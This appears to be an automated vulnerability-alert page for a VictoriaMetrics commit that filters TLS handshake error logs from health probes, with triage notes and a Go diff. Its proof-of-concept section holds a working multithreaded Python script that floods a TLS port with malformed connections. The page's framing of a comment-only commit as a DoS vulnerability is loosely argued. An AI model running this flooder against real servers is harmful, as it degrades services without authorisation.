DoS via log flooding (TLS handshake errors)

MEDIUM
victoriametrics/victoriametrics
Commit: ed795a8443f1
Affected: < = 1.139.0 (earlier releases may also be affected)
2026-06-24 14:44 UTC

Description

This commit adds a tlsErrorSkipLogger to suppress noisy TLS handshake errors in logs originating from health-check probes. The intent is to mitigate log flooding and potential resource exhaustion (DoS) caused by repeated TLS handshake failures, which can occur when health probes repeatedly connect to the TLS port and fail the handshake. The filter inspects log messages and drops those containing "TLS handshake error" when accompanied by EOF or "connection reset by peer". This is a logging-level mitigation rather than a fix to TLS negotiation itself. It reduces log spam and possible DoS caused by log processing, but could obscure legitimate TLS handshake problems if they produce similar log lines. In short, it’s a defensive change to reduce log-based DoS risk without altering TLS behavior.

Proof of Concept

PoC to demonstrate TLS-handshake-related log flooding before the fix can be suppressed by this patch. The idea is to generate many TLS handshake failures against the TLS port (e.g., via health probes) and observe log growth. Prerequisites: - VictoriaMetrics deployment with TLS enabled on a known port (TLS port). - Access to generate many malformed TLS connections to that port. Python PoC (generates non-TLS data to provoke handshake errors): #!/usr/bin/env python3 import socket, threading, time HOST = 'victoriametrics.example.com' # target host PORT = 443 # TLS port used by VictoriaMetrics when TLS is enabled DURATION = 10 # seconds per thread THREADS = 200 def flood_once(): end = time.time() + DURATION while time.time() < end: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) s.connect((HOST, PORT)) # Send bytes that do not form a valid TLS handshake s.sendall(b'not-a-tls-handshake') s.close() except Exception: pass threads = [] for _ in range(THREADS): t = threading.Thread(target=flood_once) t.daemon = True t.start() threads.append(t) for t in threads: t.join() Expected outcome: - Before this fix, repeated malformed TLS handshake attempts would generate many log lines such as "TLS handshake error" with EOF or connection reset, leading to log flooding and potential resource strain. - After the fix, these specific log lines are filtered by tlsErrorSkipLogger, reducing log flood from health-check probes while not affecting the TLS negotiation path for legitimate clients. Notes: - This PoC does not bypass TLS; it merely demonstrates a pattern that would trigger the server’s TLS handshake error logging. - The exact host/port must be replaced with the deployment’s TLS endpoint.

Commit Details

Author: Max Kotliar

Date: 2026-06-16 15:25 UTC

Message:

lib/httpserver: add comments and links to tlsErrorSkipLogger Follow-up on https://github.com/VictoriaMetrics/VictoriaMetrics/commit/64e43e59a7c3a773812cd16a9b5ee2c7d4ac2d69 See discussion in https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10538#issuecomment-4708196302

Triage Assessment

Vulnerability Type: DoS / TLS handshake-related log flooding

Confidence: MEDIUM

Reasoning:

The change adds a TLS handshake error filter in logging to suppress noisy TLS handshake errors from health-check probes. This mitigates potential denial-of-service or log flood scenarios caused by repeated TLS handshake failures (e.g., from health checks), which has security implications (resource exhaustion via logging/probe traffic).

Verification Assessment

Vulnerability Type: DoS via log flooding (TLS handshake errors)

Confidence: MEDIUM

Affected Versions: < = 1.139.0 (earlier releases may also be affected)

Code Diff

diff --git a/lib/httpserver/httpserver.go b/lib/httpserver/httpserver.go index c0c0d75e79471..0a8c9ba6d7775 100644 --- a/lib/httpserver/httpserver.go +++ b/lib/httpserver/httpserver.go @@ -811,10 +811,20 @@ func LogError(req *http.Request, errStr string) { logger.Errorf("uri: %s, remote address: %q: %s", uri, remoteAddr, errStr) } +// tlsErrorSkipLogger must be passed as the out argument to log.New only. +// It suppresses noisy TCP probe errors on TLS connections to avoid log pollution. +// +// This cannot be implemented in net.Listener because a TLS handshake may take seconds, +// during which no other connections can be accepted. Therefor, the implementation inside net.Listener can lead to DoS. +// Once a connection is passed to the conn serve goroutine, there is no direct access to the handshake logic, so this indirect +// approach is used instead. type tlsErrorSkipLogger struct{} +// Write filters out TLS handshake errors from health-check probes. +// log.Logger guarantees that each complete message is delivered in a single Write call +// and that calls are serialized, so we can safely inspect p for a "TLS handshake error". +// See https://github.com/golang/go/blob/38e988efb4b8f5e73e887027f386a342c138b649/src/log/log.go#L53-L57 func (*tlsErrorSkipLogger) Write(p []byte) (int, error) { - // skip common health check errors produced by Kubernetes and other tools if bytes.Contains(p, []byte("TLS handshake error")) && (bytes.Contains(p, []byte("EOF")) || bytes.Contains(p, []byte("connection reset by peer"))) { return len(p), nil
← Back to Alerts View on GitHub →